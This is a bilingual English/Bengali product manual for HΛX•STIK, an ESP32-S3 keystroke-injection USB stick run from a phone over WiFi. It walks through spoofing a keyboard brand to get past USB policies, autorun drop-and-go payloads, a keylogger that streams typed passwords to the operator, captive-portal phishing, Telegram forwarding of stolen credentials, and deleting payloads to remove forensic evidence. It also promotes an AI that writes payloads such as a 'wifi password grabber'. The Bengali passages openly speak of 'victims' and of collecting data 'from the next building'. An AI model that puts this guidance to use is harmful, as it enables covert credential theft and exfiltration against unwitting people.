OPERATIONAL MANUAL

The authoritative field manual for HΛX•STIK operators. A comprehensive deep-dive into the ESP32-S3 hardware architecture, secure management of the onboard HΛXSTIK OS, advanced DuckyScript payload engineering, and professional-grade auditing techniques. All features are documented for authorized security research and penetration testing purposes only.

HΛX•STIK অপারেটরদের জন্য সম্পূর্ণ ফিল্ড ম্যানুয়াল। ESP32-S3 হার্ডওয়্যার আর্কিটেকচার, HΛXSTIK OS ড্যাশবোর্ড পরিচালনা, উন্নত DuckyScript পেলোড তৈরি এবং প্রফেশনাল পেনিট্রেশন টেস্টিং কৌশলের বিস্তারিত গাইড। সকল ফিচার শুধুমাত্র অনুমোদিত সিকিউরিটি রিসার্চ ও পেনিট্রেশন টেস্টিংয়ের জন্য।

⚠ LEGAL NOTICE: The HΛX•STIK is a professional penetration testing tool. All features described in this manual must only be used on systems you own or have received explicit written authorization to test. Unauthorized use against third-party systems is illegal under computer crime laws in most jurisdictions. HAXBD assumes no liability for misuse.

⚠ আইনি নোটিশ: HΛX•STIK একটি প্রফেশনাল পেনিট্রেশন টেস্টিং টুল। এই ম্যানুয়ালের সকল ফিচার শুধুমাত্র এমন সিস্টেমে ব্যবহার করুন যেটি আপনার নিজের বা যেখানে আপনার স্পষ্ট লিখিত অনুমতি আছে। তৃতীয় পক্ষের সিস্টেমে বিনা অনুমতিতে ব্যবহার অধিকাংশ দেশে কম্পিউটার ক্রাইম আইনে অবৈধ। HAXBD কোনো অপব্যবহারের দায় নেয় না।

Online Reference
OPERATIONAL MANUAL
Interactive web guide — all sections, searchable, always up to date. Hardware, OS dashboard, DuckyScript, audit forwarding, OTA & troubleshooting.
HAXSTIK — The Complete Guide
PDF Edition — Free
HAXSTIK THE COMPLETE GUIDE
300+
Pages
14
Chapters
20+
Payloads
What HAXSTIK is, how it works & full operation guide
DuckyScript v3 — VAR, IF, WHILE, FUNCTION + 20+ real payloads
Telegram audit forwarding, captive portal awareness tests & keylogger scenarios
The only A-to-Z guide to master HAXSTIK professionally
DOWNLOAD FREE PDF

HARDWARE & SYSTEM ACCESS

The HΛX•STIK is built on the ESP32-S3 SuperMini architecture — a Dual-core Xtensa LX7 processor running at 240 MHz with 1.125MB of onboard SPIFFS Flash memory and a dedicated USB 2.0 Full-Speed hardware controller.

HΛX•STIK টি ESP32-S3 SuperMini আর্কিটেকচারে নির্মিত — ২৪০ MHz-এ চলা Dual-core Xtensa LX7 প্রসেসর, ১.১২৫MB SPIFFS Flash মেমোরি এবং একটি ডেডিকেটেড USB 2.0 Full-Speed হার্ডওয়্যার কন্ট্রোলার সহ।

Unlike traditional flash drives, it operates in dual-mode (Hardware CDC + HID). It appears to the authorized test computer simultaneously as a USB HID Keyboard & Mouse (for keystroke injection) and as a Serial Communications Port (for receiving approved audit data back from the test system). This lets teams validate how USB control policies and endpoint defenses handle physical-device risk.

সাধারণ ফ্ল্যাশ ড্রাইভের মতো নয়, এটি dual-mode (Hardware CDC + HID)-এ কাজ করে। টার্গেট কম্পিউটার একসাথে এটিকে একটি বিশ্বস্ত HID Keyboard & Mouse (keystroke injection-এর জন্য) এবং একটি Serial Communications Port (ডেটা সংগ্রহের জন্য) হিসেবে দেখে। এই হার্ডওয়্যার-লেভেলের পরিচয়ে EDR (Endpoint Detection & Response) সিস্টেম এটিকে একটি স্বীকৃত বিশ্বস্ত পেরিফেরাল হিসেবে চেনে।

Connecting to the Control Panel

To write payloads, deploy scripts, and view captured data, you must access the HΛXSTIK OS web dashboard.

পেলোড লেখা, স্ক্রিপ্ট চালানো এবং ক্যাপচার করা ডেটা দেখতে HΛXSTIK OS ওয়েব ড্যাশবোর্ডে ঢুকতে হবে।

  1. Plug the device into any active USB port (PC, Laptop, Power Bank, or USB charger).
  2. Wait approximately 3 seconds for the system to boot.
  3. From your smartphone, tablet, or PC, open the WiFi settings and connect to the secure node:
// DEFAULT NETWORK CREDENTIALS
SSID    : HAXSTIK_OS
Password: password123

Once connected, open any web browser and navigate to http://192.168.4.1. The HΛXSTIK OS splash screen will load.

কানেক্ট হলে যেকোনো ব্রাউজার খুলে http://192.168.4.1-এ যান। HΛXSTIK OS স্প্ল্যাশ স্ক্রিন লোড হবে।

Click the "START SYSTEM" button on the splash screen to reveal the secure login modal. Enter your credentials:

স্প্ল্যাশ স্ক্রিনে "START SYSTEM" বাটনে ক্লিক করুন — নিরাপদ লগইন উইন্ডো আসবে। ক্রেডেনশিয়াল দিন:

// DEFAULT LOGIN CREDENTIALS
Username  : admin
Passphrase: haxstik

⚠ CRITICAL — CHANGE DEFAULT CREDENTIALS IMMEDIATELY. The default Wi-Fi password and login are public knowledge. Anyone who knows your Wi-Fi password can access the control panel. Update both from the Settings tab before any field deployment. If you forget the new login, a Factory Reset (Format Disk) is the only recovery option.

⚠ জরুরি — ডিফল্ট ক্রেডেনশিয়াল এখনই বদলান। ডিফল্ট WiFi পাসওয়ার্ড এবং লগইন সবার জানা। যে কেউ আপনার WiFi পাসওয়ার্ড জানলে কন্ট্রোল প্যানেলে ঢুকতে পারবে। মাঠে নামার আগেই Settings ট্যাব থেকে দুটোই আপডেট করুন। নতুন লগইন ভুলে গেলে Factory Reset (Format Disk) ছাড়া উপায় নেই।

Session Security

Each time the device boots, the OS generates a new random 32-character session token. This means sessions do not persist across reboots — you must log in again after each power cycle. This is a deliberate security feature: if someone else unplugs and replug the stick, your old browser session is immediately invalidated.

প্রতিবার ডিভাইস বুট হলে OS একটি নতুন র‍্যান্ডম ৩২-অক্ষরের সেশন টোকেন তৈরি করে। মানে রিবুটের পর সেশন থাকে না — প্রতিটি পাওয়ার সাইকেলের পর আবার লগইন করতে হবে। এটি ইচ্ছাকৃত সিকিউরিটি ফিচার: কেউ স্টিক আনপ্লাগ ও রিপ্লাগ করলে আপনার পুরনো ব্রাউজার সেশন সাথে সাথে বাতিল হয়।

Accessing the Dashboard During Captive Portal

When the Captive Portal is armed, the main URL 192.168.4.1 serves the awareness-test login page to test clients. To access your operator dashboard, always use the reserved admin path: http://192.168.4.1/admin

Captive Portal চালু থাকলে মূল URL 192.168.4.1 শিকারদের ফিশিং পেজ দেখায়। অপারেটর ড্যাশবোর্ডে ঢুকতে সবসময় রিজার্ভড অ্যাডমিন পাথ ব্যবহার করুন: http://192.168.4.1/admin

FIRST DEPLOYMENT CHECKLIST

Follow these steps in order on your very first use. Each step unlocks the next. Skip one and the next will not work. After completing this once, these settings persist across reboots — you only need to do it once per device.

প্রথম ব্যবহারে এই ধাপগুলো ক্রমানুসারে অনুসরণ করুন। প্রতিটি ধাপ পরেরটি unlock করে। একটি বাদ দিলে পরেরটি কাজ করবে না। একবার সম্পন্ন করলে এই সেটিং reboot-এ টিকে থাকে — প্রতিটি ডিভাইসে শুধু একবার করতে হয়।

1

Plug in & Connect to HAXSTIK_OS WiFi

Plug the stick into any USB port. Wait 3s for the system to boot. On your phone → WiFi settings → connect to HAXSTIK_OS / password password123. Open browser → http://192.168.4.1 → START SYSTEM → login (admin / haxstik).

স্টিক যেকোনো USB port-এ প্লাগ করুন। সিস্টেম বুটের জন্য ৩ সেকেন্ড অপেক্ষা করুন। ফোনে → WiFi settings → HAXSTIK_OS / password password123 দিয়ে সংযুক্ত হন। Browser খুলুন → http://192.168.4.1 → START SYSTEM → login (admin / haxstik)।

2

⚠ Change Default Credentials (MANDATORY)

Settings → WiFi Configuration: Change SSID + password (min 8 chars) → SAVE. Device reboots. Reconnect with new WiFi name.
Settings → Access Control: Change dashboard username + password → UPDATE CREDENTIALS. Do this before any field deployment — defaults are publicly known.

Settings → WiFi Configuration: SSID + password (কমপক্ষে ৮ অক্ষর) পরিবর্তন করুন → SAVE। ডিভাইস reboot হবে। নতুন WiFi নামে পুনরায় সংযুক্ত হন।
Settings → Access Control: Dashboard username + password পরিবর্তন করুন → UPDATE CREDENTIALS। মাঠে নামার আগেই এটি করুন — ডিফল্ট সবার জানা।

3

Spoof USB Identity (Optional but Recommended)

Settings → USB Identity: Select a profile that matches your target environment (e.g., Dell KB216 for Dell offices, Apple Magic Keyboard for Mac environments) → APPLY & REBOOT. This makes the device appear as a legitimate brand keyboard to USB security policies.

Settings → USB Identity: Target পরিবেশের সাথে মেলে এমন profile বেছে নিন (যেমন, Dell অফিসের জন্য Dell KB216, Mac পরিবেশের জন্য Apple Magic Keyboard) → APPLY & REBOOT। এতে USB security policy-র কাছে ডিভাইস একটি বৈধ ব্র্যান্ডের keyboard হিসেবে দেখাবে।

4

Run OS Fingerprint on the Target

Tools → OS Fingerprint → SCAN HOST OS. Plug the device into the target computer while your phone is on the dashboard. Result shows in the status bar (Windows / Linux / Mac). Write payloads for that OS only — cross-OS payloads fail silently and waste your window.

Tools → OS Fingerprint → SCAN HOST OS। ফোনে dashboard খোলা রেখে ডিভাইস target কম্পিউটারে প্লাগ করুন। ফলাফল status bar-এ দেখাবে (Windows / Linux / Mac)। শুধু সেই OS-এর জন্য payload লিখুন — cross-OS payload নীরবে ব্যর্থ হয় এবং সুযোগ নষ্ট করে।

5

Set Injection Speed

Settings → Global Injection Speed. Start with Fast (30ms) — the default. If your payload types missing or scrambled characters on the target, increase to 50ms or 100ms. Older hardware and systems under load need more time between keystrokes.

Settings → Global Injection Speed। Fast (30ms) দিয়ে শুরু করুন — এটি ডিফল্ট। Target-এ payload টাইপ করার সময় অক্ষর বাদ পড়লে বা এলোমেলো হলে 50ms বা 100ms-এ বাড়ান। পুরনো হার্ডওয়্যার এবং লোডের অধীনে সিস্টেমে keystroke-এর মাঝে বেশি সময় লাগে।

6

Write or Upload a Payload

Payload Studio tab: Select the correct OS tab (WIN / MAC / LINUX / DROID), write your DuckyScript, enter a filename (e.g., grab.txt), click SAVE / UPDATE. It appears instantly in the Dashboard payload list.

Payload Studio ট্যাব: সঠিক OS ট্যাব বেছে নিন (WIN / MAC / LINUX / DROID), DuckyScript লিখুন, filename দিন (যেমন grab.txt), SAVE / UPDATE ক্লিক করুন। Dashboard-এর payload তালিকায় সাথে সাথে দেখাবে।

7

Enable Mouse Jiggler (for long sessions)

Tools → Mouse Jiggler → ENABLE. Do this before running any payload that takes more than a minute, or before leaving the keylogger armed. It prevents the target from screen-locking and breaking your session.

Tools → Mouse Jiggler → ENABLE। এক মিনিটের বেশি সময়ের payload চালানোর আগে বা keylogger armed রেখে যাওয়ার আগে এটি করুন। এটি target-কে স্ক্রিন-লক হওয়া থেকে বিরত রাখে এবং আপনার session অক্ষুণ্ণ রাখে।

8

(Optional) Set Up Telegram for Remote Audit Visibility

Settings → Network Settings: Connect to a 2.4GHz internet WiFi. Then Settings → Telegram Settings: enter bot token + chat ID → SAVE → TEST PING. Then Tools → Telegram Audit Forwarding → FORWARDING ON. Authorized credential-awareness results or keylog bursts can arrive on your phone during controlled assessments.

Settings → Network Settings: 2.4GHz ইন্টারনেট WiFi-এ সংযুক্ত হন। তারপর Settings → Telegram Settings: bot token + chat ID দিন → SAVE → TEST PING। তারপর Tools → Telegram Exfil → EXFIL ON। এখন প্রতিটি captured credential বা keylog burst সাথে সাথে আপনার ফোনে আসবে — পরের বিল্ডিং থেকেও।

9

(Optional) Configure Boot Script for Autonomous Deployment

Tools → Boot Configuration: Select a payload → SET AS BOOT SCRIPT. Set Boot Delay to 3–5s → SET BOOT DELAY. From this point, plugging the device into any computer automatically runs the payload — no phone needed. Perfect for drop-and-go scenarios.

Tools → Boot Configuration: payload বেছে নিন → SET AS BOOT SCRIPT। Boot Delay ৩–৫ সেকেন্ড দিন → SET BOOT DELAY। এখন থেকে যেকোনো কম্পিউটারে প্লাগ করলে স্বয়ংক্রিয়ভাবে payload চলবে — কোনো ফোন লাগবে না। Drop-and-go পরিস্থিতির জন্য আদর্শ।

DASHBOARD (PAYLOAD LIBRARY)

The Dashboard is the central command hub. It provides a real-time overview of all .txt DuckyScript payloads stored in the device's SPIFFS flash memory.

Dashboard হল কেন্দ্রীয় কমান্ড হাব। ডিভাইসের SPIFFS ফ্ল্যাশ মেমোরিতে সংরক্ষিত সকল .txt DuckyScript পেলোডের রিয়েল-টাইম ওভারভিউ এখানে পাওয়া যায়।

Live Status Bar

Immediately below the navigation tabs, a sticky status bar displays real-time system indicators — always visible while you work:

Navigation ট্যাবের ঠিক নিচে একটি sticky status bar রিয়েল-টাইম সিস্টেম indicator দেখায় — কাজের সময় সবসময় দৃশ্যমান:

🔴 192.168.4.1 🤝 2 clients ⏱ UP: 143s 🖱 JIGGLER ON ⌨ KEYLOGGER ON 📡 EXFIL ON 💻 Windows

Payload Library Controls

PAYLOAD LIBRARY

🛑 EMERGENCY STOP
⌛ REFRESH LIST
hack.txt (120b)
RUN EDIT COPY

🛑 EMERGENCY STOP: Your ultimate operational failsafe. Clicking this immediately aborts any active payload execution, flushes the command queue, and forcefully releases all held modifier keys (CTRL, ALT, SHIFT, GUI) to prevent locked keyboard states on the target. Use this instantly if the target machine loses focus or the payload begins typing into an unintended application.

🛑 EMERGENCY STOP: চূড়ান্ত অপারেশনাল সুরক্ষা। ক্লিক করলে সাথে সাথে সক্রিয় payload চালানো বন্ধ হয়, command queue flush হয় এবং সব held modifier key (CTRL, ALT, SHIFT, GUI) জোর করে ছেড়ে দেয় — target-এ keyboard আটকানো ঠেকাতে। Target মেশিন focus হারালে বা payload অনিচ্ছাকৃত জায়গায় টাইপ শুরু করলে সাথে সাথে ব্যবহার করুন।

⌛ REFRESH LIST: Forces the OS to re-index SPIFFS flash and synchronize the dashboard. Click this if a newly saved script does not appear automatically in the list.

⌛ REFRESH LIST: OS-কে SPIFFS ফ্ল্যাশ পুনরায় index করতে এবং dashboard sync করতে বাধ্য করে। নতুন সেভ করা script তালিকায় স্বয়ংক্রিয়ভাবে না দেখালে ক্লিক করুন।

▶️ RUN: Instantly deploys the selected payload. If the V3 engine is enabled, the payload is pre-processed through the variable/logic expander before injection begins.

▶️ RUN: নির্বাচিত payload সাথে সাথে deploy করে। V3 engine চালু থাকলে injection শুরুর আগে payload variable/logic expander-এ pre-process হয়।

✏️ EDIT: Loads the selected script directly into the Payload Studio editor on your phone — no cables or computer needed. Modify the script and click SAVE/UPDATE to write changes back to flash.

✏️ EDIT: নির্বাচিত script সরাসরি ফোনের Payload Studio editor-এ লোড করে — কোনো cable বা কম্পিউটার লাগে না। Script পরিবর্তন করুন এবং flash-এ লিখতে SAVE/UPDATE ক্লিক করুন।

📂 COPY: Duplicates the selected payload, creating a new file prefixed with copy_ (e.g., hack.txtcopy_hack.txt). Use this to safely experiment with a script without risking the original.

📂 COPY: নির্বাচিত payload duplicate করে copy_ prefix সহ নতুন ফাইল তৈরি করে (যেমন hack.txtcopy_hack.txt)। Original ঝুঁকিতে না ফেলে script নিয়ে পরীক্ষা করতে ব্যবহার করুন।

✕ DELETE: Permanently removes the payload from SPIFFS memory. This action is instant and irreversible. Use this to free up storage or remove forensic evidence of specific attack vectors after a successful engagement.

✕ DELETE: SPIFFS মেমোরি থেকে payload স্থায়ীভাবে সরিয়ে দেয়। এই কাজ তাৎক্ষণিক ও অপরিবর্তনীয়। স্টোরেজ মুক্ত করতে বা সফল অপারেশনের পর নির্দিষ্ট attack vector-এর forensic প্রমাণ সরাতে ব্যবহার করুন।

PAYLOAD STUDIO

The integrated browser-based code editor. Write, import, and save DuckyScript payloads directly from your smartphone — no computer or USB cable required. The HAX·AI floating button appears exclusively on this tab — tap it to generate any payload by describing what you need in plain English.

ইন্টিগ্রেটেড ব্রাউজার-ভিত্তিক কোড এডিটর। সরাসরি স্মার্টফোন থেকে DuckyScript পেলোড লিখুন, ইমপোর্ট করুন এবং সেভ করুন — কোনো কম্পিউটার বা USB ক্যাবেল লাগবে না। এই ট্যাবেই HAX·AI floating button দেখা যায় — বাংলায় বা ইংরেজিতে বললেই AI payload তৈরি করে দেবে।

HAX·AI
HAX·AI — Available in Payload Studio

The AI robot floats in the bottom-right corner of the Payload Studio tab. Describe what you want — "wifi password grabber windows loot" — and the AI writes production-ready DuckyScript directly into the editor. See the HAX·AI section for the full usage guide.

AI robot Payload Studio ট্যাবের নিচে-ডানে float করে। যা চান বলুন — "wifi password grabber windows loot" — AI সরাসরি editor-এ DuckyScript লিখে দেবে। সম্পূর্ণ গাইডের জন্য HAX·AI সেকশন দেখুন।

PAYLOAD STUDIO

📂
IMPORT FILE
Select .txt from device
LOAD
SAVE / UPDATE
WIN MAC LINUX DROID
WINDOWS
Win + R Desktop CMD PowerShell
KEYS
REM CTRL ALT SHIFT TAB ESC SPACE ENTER WIN
MOUSE [NEW]
↔ MOVE CLICK L CLICK R DBL-CLICK SCROLL ↑ SCROLL ↓
ADVANCED [NEW]
NUMLOCK_FORCE STRING_ALT HOLD key RELEASE key OS_DETECT
HAX·AI — describe payload...
HAX·AI

HOW TO USE THE PAYLOAD STUDIO:

  1. IMPORT FILE: Browse your phone's storage and upload an existing .txt DuckyScript file directly into the editor.
  2. Filename field: Type the name you want to save the script as (e.g., wifi_grab.txt). Include the .txt extension.
  3. Editor (big text area): Type or paste your DuckyScript commands here.
  4. OS Tabs (WIN / MAC / LINUX / DROID): Each tab shows one-tap insert buttons for common commands specific to that platform. Select your target OS tab first, then tap buttons to insert commands directly into the editor.
    • WIN: Win+R (Run dialog), Show Desktop (GUI d), CMD, PowerShell
    • MAC: Spotlight search (GUI SPACE), Terminal, Quit App (GUI q), Close Window (GUI w)
    • LINUX: Open Terminal (CTRL ALT t), Run Command (ALT F2), Activities overlay (GUI), Log Out (CTRL d)
    • DROID: Android HID control via USB OTG — ESC (Back button), GUI ENTER (Home), GUI b (open Browser), GUI c (open Contacts). Connect the HAXSTIK to an Android device using a USB OTG adapter; Android must support HID keyboard input.
  5. Advanced Toolbox: Mouse control, HOLD/RELEASE keys, STRING_ALT for non-English keyboards, and OS_DETECT are all available here.
  6. SAVE/UPDATE: Writes the payload directly to SPIFFS flash. It immediately appears in the Dashboard.
  1. IMPORT FILE: ফোনের স্টোরেজ browse করে বিদ্যমান .txt DuckyScript ফাইল সরাসরি editor-এ আপলোড করুন।
  2. Filename field: Script যে নামে সেভ করতে চান তা টাইপ করুন (যেমন wifi_grab.txt)। .txt extension অন্তর্ভুক্ত করুন।
  3. Editor (বড় টেক্সট এলাকা): এখানে DuckyScript কমান্ড টাইপ বা পেস্ট করুন।
  4. OS Tabs (WIN / MAC / LINUX / DROID): প্রতিটি ট্যাবে সেই platform-এর প্রচলিত কমান্ডের one-tap insert বাটন থাকে। আগে target OS ট্যাব বেছে নিন, তারপর বাটনে ট্যাপ করে কমান্ড সরাসরি editor-এ ঢোকান।
  5. Advanced Toolbox: Mouse control, HOLD/RELEASE keys, non-English keyboard-এর জন্য STRING_ALT এবং OS_DETECT সব এখানে পাওয়া যায়।
  6. SAVE/UPDATE: Payload সরাসরি SPIFFS ফ্ল্যাশে লেখে। সাথে সাথে Dashboard-এ দেখা যায়।

HAX·AI ENGINE

HAXSTIK's built-in AI payload generator. Describe the authorized audit task in plain English — the AI writes production-ready DuckyScript optimized for your test OS and automatically injects it into the Payload Studio editor. Each device has its own authenticated Chip-ID quota so the AI service is exclusive to your HAXSTIK.

HAXSTIK-এর বিল্ট-ইন AI পেলোড জেনারেটর। সাধারণ ইংরেজিতে আক্রমণ বর্ণনা করুন — AI আপনার টার্গেট OS-এর জন্য অপ্টিমাইজড production-ready DuckyScript লিখে সরাসরি Payload Studio editor-এ inject করে দেবে। প্রতিটি ডিভাইসের নিজস্ব Chip-ID দিয়ে authenticated quota থাকে।

MOBILE SCREEN — HAX·AI OPEN
192.168.4.1 ● 1 client
DASH
STUDIO
TOOLS
SETTINGS
REM WiFi Grabber
GUI r
DELAY 500
STRING powershell...
HAX·AI
HAX·AI
● Online
H
Done! Writing to editor...
wifi password grabber windows
WiFi Grab
Keylogger
SysInfo
Universal
describe payload...

HOW IT WORKS:

  1. Open the Payload Studio tab
  2. The AI robot appears in the bottom-right corner — tap it
  3. Type your prompt or tap a quick action button
  4. AI generates DuckyScript and types it directly into the editor
  5. Review the script, then click SAVE/UPDATE
  1. Payload Studio ট্যাব খুলুন
  2. নিচে-ডানে AI robot দেখাবে — ট্যাপ করুন
  3. Prompt টাইপ করুন বা quick action button ট্যাপ করুন
  4. AI DuckyScript তৈরি করে সরাসরি editor-এ লিখে দেবে
  5. Script review করে SAVE/UPDATE ক্লিক করুন

PROMPT WRITING TIPS:

TOOLS TAB — OPERATIONS

All active-operation modules live under the TOOLS tab in the dashboard. These tools run interactively during an engagement — arm them, collect approved audit data, then disarm. The firmware presents them in this order: Keylogger → Telegram Audit Forwarding → OS Fingerprint → Captive Portal → Captured Data Manager → Boot Configuration → Mouse Jiggler. Persistent configuration items (WiFi name, login credentials, injection speed, USB identity, etc.) are in the SETTINGS tab.

সব সক্রিয়-অপারেশন module dashboard-এর TOOLS ট্যাবে থাকে। এই tools অপারেশন চলাকালীন ইন্টারেক্টিভভাবে চলে — arm করুন, ডেটা সংগ্রহ করুন, তারপর disarm করুন। Firmware এই ক্রমে উপস্থাপন করে: Keylogger → Telegram Exfil → OS Fingerprint → Captive Portal → Loot Manager → Boot Configuration → Mouse Jiggler। স্থায়ী কনফিগারেশন আইটেম (WiFi নাম, login credentials, injection speed, USB identity, ইত্যাদি) SETTINGS ট্যাবে।

LIVE KEYLOGGER

⚠ Save captured data before reaching 10,000 characters to prevent data loss.
[WIN: Chrome] hello world[ENTER]
[WIN: Notepad] password[TAB]secret123[ENTER]
42 CHARS
KEYLOGGER: ACTIVE
▶ FULLSCREEN
✕ CLEAR
💾 SAVE LOG

KEYLOGGER EXPLAINED: Turns the HΛX•STIK into a wireless data receiver. A keylogger payload run on the target computer sends every keystroke (passwords, emails, typed messages) back to the stick over its hidden USB Serial port. You can monitor the captured keystrokes live from your phone in the next room.

KEYLOGGER ব্যাখ্যা: HΛX•STIK-কে ওয়্যারলেস ডেটা রিসিভারে পরিণত করে। টার্গেট কম্পিউটারে চলা keylogger পেলোড প্রতিটি কীস্ট্রোক (পাসওয়ার্ড, ইমেইল, টাইপ করা বার্তা) লুকানো USB Serial পোর্ট দিয়ে স্টিকে পাঠায়। পাশের রুম থেকে ফোনে সব লাইভ দেখা যাবে।

The live connection dot next to the heading shows the transport status: GREEN = WebSocket live stream active. ORANGE = Fallback HTTP polling (WebSocket dropped — data still flows). The screen auto-scrolls and captures everything in real-time.

হেডিংয়ের পাশের লাইভ ডট কানেকশনের অবস্থা দেখায়: সবুজ = WebSocket লাইভ স্ট্রিম চালু। কমলা = HTTP polling (WebSocket বন্ধ — তবু ডেটা আসছে)। স্ক্রিন অটো-স্ক্রল হয় এবং সবকিছু রিয়েল-টাইমে ক্যাপচার করে।

// HOW TO USE (STEP BY STEP):

  1. Click "ENABLE KEYLOGGER" — the button turns cyan to confirm it's armed.
  2. Run your keylogger payload on the target computer (see the Loot System section for complete payload scripts per OS).
  3. Watch keystrokes appear live on the black screen. Window titles like [WIN: Chrome] show which application the user is currently typing in.
  4. Click "▶ FULLSCREEN" to expand the capture screen for easier reading on a small phone display.
  5. CRITICAL: The screen buffer holds 10,000 characters. When the character count turns red, immediately click "💾 SAVE LOG" (downloads a .txt file) then click "✕ CLEAR" to free the buffer.

Telegram Auto-Flush Triggers — when Telegram Audit Forwarding is ON, keylog audit data is sent to your bot automatically when any of these fire:

Telegram Auto-Flush Trigger — Telegram Exfil ON থাকলে নিচের যেকোনো একটি ঘটলে keylog ডেটা স্বয়ংক্রিয়ভাবে bot-এ পাঠানো হয়:

Platform Coverage — Live Keylogger

PlatformPayload MethodSerial Interface on TargetSupport
WindowsPowerShell System.IO.Ports.SerialPort via WMI port enumeration (gwmi Win32_SerialPort)COMx (auto-detected)✓ Full
macOSBash: device mounts at /dev/tty.usbmodem*/dev/tty.usbmodem*✓ Full
LinuxBash: device at /dev/ttyACM0 or /dev/ttyUSB0/dev/ttyACM0 or /dev/ttyUSB0✓ Full
AndroidAndroid restricts USB CDC serial access without root or ADB — cannot write to serial port from scriptsN/A✗ Not available — use Captive Portal for Android

TELEGRAM AUDIT FORWARDING — Remote Push Control

⚠ PREREQUISITE ORDER — DO THIS FIRST: Telegram will NOT work until the device has an active internet connection. Complete steps IN THIS ORDER:
Step 1: Settings → Network Settings → SCAN NEARBY or MANUAL ENTRY → select your 2.4GHz WiFi → enter password → SAVE & CONNECT. Wait for "Connected to [SSID]" confirmation.
Step 2: Settings → Telegram Settings → paste Bot Token (from @BotFather) + Chat ID (from @userinfobot) → SAVE → TEST PING. You should receive "HAXSTIK ONLINE" in your Telegram chat.
Step 3: Tools → Telegram Audit Forwarding → toggle FORWARDING ON.

Arms or disarms real-time Telegram forwarding. The toggle in this Tools card controls whether forwarding is active. Credentials are stored separately in Settings → Telegram Settings.

রিয়েল-টাইম Telegram ফরওয়ার্ডিং চালু বা বন্ধ করে। এই Tools কার্ডের টগল দিয়ে ফরওয়ার্ডিং নিয়ন্ত্রণ করা হয়। Bot Token ও Chat ID আলাদাভাবে Settings → Telegram Settings-এ সংরক্ষিত থাকে।

TELEGRAM AUDIT FORWARDING

● WiFi: Connected to HomeNetwork_2G
✓ Bot configured
▲ EXFIL ACTIVE — forwarding to Telegram
📢 EXFIL: ACTIVE
📦 DUMP LOOT TO TELEGRAM

EXFIL ON/OFF: Defaults OFF for operational silence. Turn ON only when you need remote visibility. The status bar shows 📡 EXFIL ON when armed.

EXFIL ON/OFF: অপারেশনাল নীরবতার জন্য ডিফল্টে OFF। শুধু দূরবর্তী দৃশ্যমানতা দরকার হলে ON করুন। Armed থাকলে status bar-এ 📡 EXFIL ON দেখায়।

What is forwarded automatically:

স্বয়ংক্রিয়ভাবে যা ফরওয়ার্ড হয়:

  • Keylog bursts — sent on the triggers listed above (200 chars / ENTER / window-change / priority keywords). Each burst is a separate Telegram message.
  • Captive Portal awareness captures — real-time push per authorized test submission with username, password, client IP, and template name.
  • Keylog burst — উপরে উল্লিখিত trigger-এ পাঠানো হয় (২০০ অক্ষর / ENTER / window-change / priority keyword)। প্রতিটি burst আলাদা Telegram message।
  • Captive Portal capture — credential submit হওয়ামাত্র username, password, client IP এবং template নাম সহ instant push।

📦 DUMP LOOT TO TELEGRAM: Manually pushes the entire loot.txt vault in 3,800-character chunks (safely under Telegram's 4,096-character message limit). Use this to pull previously collected data after reconnecting to internet.

📦 DUMP LOOT TO TELEGRAM: সম্পূর্ণ loot.txt vault ৩,৮০০-অক্ষরের chunk-এ (Telegram-এর ৪,০৯৬-অক্ষর সীমার নিচে) manually push করে। ইন্টারনেটে পুনরায় সংযুক্ত হওয়ার পর আগে সংগৃহীত ডেটা আনতে ব্যবহার করুন।

⚠ CAUTION: Requires active 2.4GHz internet STA connection. The Telegram send queue holds up to 8 messages; overflow is dropped silently. The loot vault and keylog buffer are never lost — only the Telegram delivery fails. If the internet WiFi drops, reconnect via Settings → Network Settings.

Platform Coverage — Telegram Audit Forwarding

PlatformData Sources ForwardedNotes
WindowsKeylog bursts + captive portal captures + manual loot dumpFull support
macOSKeylog bursts + captive portal captures + manual loot dumpFull support
LinuxKeylog bursts + captive portal captures + manual loot dumpFull support
AndroidCaptive portal captures + manual loot dump onlyAndroid keylog not available; captive portal credentials still forwarded instantly

OS FINGERPRINT — Detect Host Operating System

OS FINGERPRINT

💻 Windows
USB LED sync detected on enumeration
🔍 SCAN HOST OS
Windows: USB LED sync on enumeration · Linux/Mac: CapsLock timing fallback

OS FINGERPRINT EXPLAINED: Determines the target's operating system without typing a single visible character on screen. This is essential before running any payload — a Windows payload run on macOS will fail and may trigger security alerts. Once scanned, the result appears in the status bar (e.g., 💻 Windows) and is stored as the $_OS variable for use in DuckyScript V3 payloads.

OS FINGERPRINT ব্যাখ্যা: স্ক্রিনে একটি অক্ষরও টাইপ না করে টার্গেটের অপারেটিং সিস্টেম শনাক্ত করে। যেকোনো পেলোড চালানোর আগে এটি করা জরুরি — macOS-এ Windows পেলোড চালালে ব্যর্থ হবে এবং সিকিউরিটি অ্যালার্ট ট্রিগার হতে পারে। স্ক্যান হলে ফলাফল স্ট্যাটাস বারে দেখায় (যেমন: 💻 Windows) এবং DuckyScript V3 পেলোডে $_OS ভেরিয়েবল হিসেবে পাওয়া যায়।

Two-Stage Detection Process:

দুই-ধাপের শনাক্তকরণ প্রক্রিয়া:

  • Method 1 — Windows (instant): Windows sends an automatic HID LED synchronization packet the moment any keyboard is enumerated. Linux and macOS never send this spontaneously. If the stick captures this packet at boot, Windows is immediately confirmed — no keys pressed, zero latency.
  • Method 2 — Linux vs macOS (CapsLock timing): If no LED sync packet was received (ruling out Windows), the stick toggles CapsLock and measures the USB HID round-trip response time across 5 probes, taking the median. Linux kernel HID driver responds in under 8ms. macOS IOKit responds in 8ms or longer. This gap is consistent and reliable across hardware generations.
  • Method 1 — Windows (তাৎক্ষণিক): যেকোনো keyboard enumerate হওয়ার সাথে সাথে Windows স্বয়ংক্রিয়ভাবে HID LED synchronization packet পাঠায়। Linux ও macOS কখনো এটি স্বতঃস্ফূর্তভাবে পাঠায় না। Boot-এ স্টিক এই packet ধরলে Windows নিশ্চিত — কোনো key চাপা নেই, শূন্য latency।
  • Method 2 — Linux বনাম macOS (CapsLock timing): LED sync packet না পেলে (Windows বাদ), স্টিক CapsLock toggle করে ৫টি probe-এ USB HID round-trip response time মাপে, median নেয়। Linux kernel HID driver 8ms-এর কমে সাড়া দেয়। macOS IOKit ৮ms বা বেশিতে সাড়া দেয়। এই পার্থক্য হার্ডওয়্যার প্রজন্ম জুড়ে সামঞ্জস্যপূর্ণ।
OSDetection MethodDetection TimeConfidence
WindowsSpontaneous USB LED sync packet on enumeration (Method 1)Instant — detected at device bootVery High
LinuxCapsLock timing probe <8ms median (Method 2)~200ms (5 timed probes)High
macOSCapsLock timing probe ≥8ms median (Method 2)~200ms (5 timed probes)High
